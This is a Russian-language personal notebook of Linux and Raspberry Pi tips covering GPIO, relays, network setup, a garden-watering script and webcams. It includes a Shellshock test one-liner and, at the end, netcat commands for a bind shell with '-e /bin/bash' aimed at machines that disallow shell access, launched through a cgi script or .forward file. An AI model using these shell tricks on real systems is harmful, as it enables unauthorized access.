zip -9 -r ./folder.zip ./folder
Здесь -9 — степень сжатия, а -r — рекурсия для содержимого папки
zip -9 -r ./folder.zip ./folder
Здесь -9 — степень сжатия, а -r — рекурсия для содержимого папки
Как в Linux поменять слово в файле одной командой:
sudo sed -i 's/petra/qiana/' /etc/apt/sources.list
Пример использования команды alias для bash:
$ alias pingoogle="ping -c3 8.8.8.8"
Теперь по команде pingoogle будут пропингованы dns-серверы google:
pi@raspberrypi ~ $ pingoogle PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. From 192.168.1.30 icmp_seq=1 Destination Host Unreachable From 192.168.1.30 icmp_seq=2 Destination Host Unreachable From 192.168.1.30 icmp_seq=3 Destination Host Unreachable --- 8.8.8.8 ping statistics --- 3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 2005ms pipe 3
Для дистрибутива Raspbian по умолчанию логин pi, пароль raspberry
Стандартная консольная программа для изменения настроек малинки — raspi-config
Стандартная консольная команда для запуска оконного менеджера — startx
Максимальна скорость сети по Ethernet на самом деле не 100 Мбит/с, а около 24 Мбит/с (вроде потому что через шину USB)
Для ножек GPIO стандартное напряжение 3.3В, вроде как если превысить, то сгорит
Для удобства работы с ножками GPIO, на них можно одевать фишки с проводами, которые можно надёргать с материнской платы из старого системника (LPT, USB, звук от CDROM, фишки от кулеров и т.п.), ну или можно купить нормальные провода в радиотоварах.
Для подключения светодиодов во всех источниках советуют использовать дополнительное сопротивление, чтобы не спалить.
Скачать дистрибутив в виде архива zip с файлом img внутри http://downloads.raspberrypi.org/raspbian_latest
Распаковать архив
Залить образ на флэшку командой $ sudo dd if=raspbian.img of=/dev/sdc (вместо sdc подставляйте своё название диска, смотреть например через gparted)
Вставить загрузочную флэшку Raspbian
Если надо, подключить клаву, мышь, телевизор, колонки и Ethernet
Подключить к блоку питания microusb с напряжением 5.0 В, малинка включится автоматически
При необходимости набрать логин — пароль pi — raspberry
При необходимости включить оконный менеджер — $ startx
Сперва выяснить ip-адрес, который получила малинка:
Подключиться к командной строке по SSH
Через программу raspi-config
В файле /etc/network/interfaces удаляем строку iface eth0 inet dhcp, вместо неё добавляем строки
iface eth0 inet static
address 192.168.1.30
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
Получается примерно так:
$ sudo nano /etc/network/interfaces auto lo iface lo inet loopback # iface eth0 inet dhcp iface eth0 inet static address 192.168.1.30 netmask 255.255.255.0 network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.1 allow-hotplug wlan0 iface wlan0 inet manual wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf iface default inet dhcp
Дальше надо отредактировать адреса DNS-серверов, которыми будет пользоваться малинка. Для этого надо отредактировать файл resolv.conf:
sudo nano /etc/resolv.conf nameserver 8.8.8.8 nameserver 8.8.4.4
После этого сохраняемся и перезагружаемся
Решил установкой mplayer:
$ sudo apt-get install mplayer
После успешной установки проигрывать файлы так:
$ mplayer /usr/share/scratch/Media/Sounds/Music\ Loops/HipHop.mp3
Интерактивный справочник по ножкам
Это пример выдачи напряжения 3.3В на ножку 7 (GPIO4):
pi@raspberrypi ~ $ cd /sys/class/gpio/ pi@raspberrypi /sys/class/gpio $ ls export gpiochip0 unexport pi@raspberrypi /sys/class/gpio $ echo 4 > export pi@raspberrypi /sys/class/gpio $ ls export gpio4 gpiochip0 unexport pi@raspberrypi /sys/class/gpio $ cat gpio4/direction in pi@raspberrypi /sys/class/gpio $ echo out > gpio4/direction pi@raspberrypi /sys/class/gpio $ cat gpio4/direction out pi@raspberrypi /sys/class/gpio $ cat gpio4/value 0 pi@raspberrypi /sys/class/gpio $ echo 1 > gpio4/value pi@raspberrypi /sys/class/gpio $ cat gpio4/value 1 pi@raspberrypi /sys/class/gpio $ echo 0 > gpio4/value pi@raspberrypi /sys/class/gpio $ echo 1 > gpio4/value
Чтоб лампочка загорелась, она должна быть подключена к 2 ножкам GPIO, между которыми есть разность потенциалов, то есть на одной напряжение должно быть 3.3В (соответствует единице в примере выше), а на другой 0. Если используем не лампу, а светодиод, то нужно ещё и соблюсти полярность. Если лампа расчитана на более низкое напряжение, то нужно к ней последовательно подключить подходящее сопротивление, чтобы не сгорела.
Реле — это такой выключатель, который срабатывает при подаче на него управляющего сигнала.
Малинка отлично работает в связке с вот такой штуковиной 4 Channel 5V Relay Module BK_RL4_01 (4 реле, расчитанные на напряжение до 250В)
Питание на эту штуку можно подать от второго блока питания на 5В (например от телефона), предварительно распоров и оконцевав фишками жилы. Ножки GND на плате с релюшками и на малинке нужно скомутировать между собой, без этого сигнал с малинки не придёт. Нужные ножки каналов на плате с реле соединяем с нужными ножками портов GPIO на малинке. Теперь при подаче единицы на нужный порт GPIO, реле со щелчком переключится, и например, заработает какой-нибудь электроприбор с напряжением 220В.
Для реакции малинки на кнопки, которые хотим подключить к портам GPIO, для порта direction должен быть in, скрипт, отвечающий за реакцию на нажатие, должен работать в цикле (bash, perl, C) и следить за состоянием порта (0 или 1)
Приведённого выше материала в принципе хватит даже на создание простенького робота. Например, по команде из консоли «vpered» заставил ездить детскую машинку на пульте упавления.
Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187) — это уязвимость в командной строке bash, которая позволяет атакующим удалённо запускать произвольные команды на уязвимой системе. Если BASH в последний раз обновлялся до 1 октября, то скорее всего уязвима. Уязвимы версии BASH начиная с версии 1.14 (1994 года выпуска) по последнюю версию 4.3.
Код для проверки системы на наличие уязвимости:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Если в результате выполнения будет написано «vulnerable», значит система уязвима.
Проект автополива грядок на основе Raspberry PI, пока не закончен.
Имеется в наличии
Бак водонапорный к нему подключены 2 датчика верхний (DL1) и нижний уровень (D2) , реле полива (RL1) , насос из колодца (NS1)
Алгоритм работы
1. Запуск полива по времени через кронтаб в 21.00
Если бак не пустой ( реле нижний уровень включено ) то включить реле полива
Поливать до тех пор пока бак не опустеет ( реле нежнего уровня выключено)
Выключить реле полива
2. Наполнить водонапорный бак
Включить насос
Насос работае до тех пор пока не выключиться реле на водонапорном баке ( реле верхнего уровня)
Завершить работу насоса
3. Ждать следующего включения в 21.00
Управление портами
Установка высокого и низкого уровней для порта, настроенного на выход выполняется так:
$ echo 1 > /sys/class/gpio/gpioXX/value
$ echo 0 > /sys/class/gpio/gpioXX/value
Определение состояние порта, настроенного на вход делается так:
$ cat /sys/class/gpio/gpioXX/value
Исходный код скрипта, запускающего автополив
#!/bin/bash DL1="..." #подставить /sys/class/gpio/gpioXX/value D2="..." #подставить /sys/class/gpio/gpioXX/value RL1="..." #подставить /sys/class/gpio/gpioXX/value NS1="..." #подставить /sys/class/gpio/gpioXX/value #1 while ["$(cat $D2)" != '0'] ; do #Поливать до тех пор пока бак не опустеет ( реле нежнего уровня выключено) echo 1 > $RL1 #включить реле полива sleep 5 #через сколько секунд повторить проверку done echo 0 > $RL1 #Выключить реле полива #2 echo 1 > $NS1 #Включить насос while ["$(cat $DL1)" != '0'] ; do #не выключиться реле на водонапорном баке ( реле верхнего уровня) sleep 5 #через сколько секунд повторить проверку done echo 0 > $NS1 #Завершить работу насоса #3 конец, Ждать следующего включения в 21.00
Для справки:
http://eddnet.org/?p=1311 — условия
http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-7.html — циклы
http://younglinux.info/bash/commands.php — sleep
http://www.bash-scripting.ru/abs/chunks/ch04.html — работа с переменными
Скрипт взял здесь http://www.iamroot.ru/2013/01/kontrol-izmeneniya-fajlov-v-linux.html
Скрипт:
#!/bin/bash ulimit -t 20 checkdir="/bin /sbin" filedb="/var/tmp/permsecdb" email="test@iamroot.ru" out=$( exec 2>&1 umask 266 find $checkdir -type f -printf "%m\t" -exec md5sum {} \; >$filedb.tmp diff $filedb $filedb.tmp mv -f $filedb.tmp $filedb ) if [ "$out" ];then (date; echo; echo "$out") | mail -s "Change permsec `hostname`" $email fi
Скрипт проходится по всем файлам в папках из checkdir, считает их контрольные суммы MD5, результаты записывает в файл filedb и сравнивает его с результатами прошлой проверки командой diff. Если обнаружены изменения, отправляется оповещение на test@iamroot.ru, если нет, то ничего не происходит. Скрипт надо добавлять заданием в cron, чтоб выполнялся по расписанию.
ресайз фотографий через Cygwin ImageMagick
для справки — http://renotes.ru/post-43/image-resize
$ convert.exe -resize 64X64 test.jpg resized/test.jpg
Для целой папки с картинками:
cd ~/img for i in *.jpg; do convert -resize 64x64 $i resize_$i; don
Кратко о том, зачем всё это мне понадобилось. Увидел в магазине дешевые вебкамеры по 99р. и решил развешать по своей машине (парковаться удобнее и т.п.) Типа камеры подключаются через удлинители в usb-хаб, дальше в ноутбук, ну и там будем смотреть себе под задний бампер и ещё куда-нибудь.
Будем использовать проигрыватель VLC. sudo apt-get install vlc наверно все умеют делать. Предварительно его надо настроить на работу в многооконном режиме: инструменты — настройки — интерфейс — снять галочку «разрешить только одну копию». Там же можно включить «минимальный режим (без панелей)» — так будет удобнее на видео смотреть.
Подключаем к ноутбуку, или что у нас там, все наши камеры и узнаём их имена командой
$ ls /dev | grep video video0 video1
Открываются камеры так:
vlc v4l2:///dev/video0 vlc v4l2:///dev/video1
короче те устройства, которые нашли выше. Вот примерно так всё работает. Надо будет ещё скрипт написать, который будет сам по списку видеокамер пробегаться и vlc запускать.
Статья «Netcat and Reverse Telnet» иллюстрирует как с помощью утилиты netcat (nc) осуществить создание простейшего туннеля, например, для организации работы в shell, на машине явно не допускающей такое действие.
Простейший echo-туннель: Серверный процесс: nc -l -p 5600 Клиент: nc 10.0.1.1 5600 netcat для пересылки файла: Сервер (куда писать файл): nc -v -w 30 -p 5600 l- > filename.back Клиент: nc -v -w 2 10.0.1.1 5600 < filename Работа в shell через туннель Сервер: nc -l -p 5600 -e /bin/bash Клиент: nc 10.0.1.1. 5600 Серверный код можно запустить, например, через cgi-скрипт или .forward файл.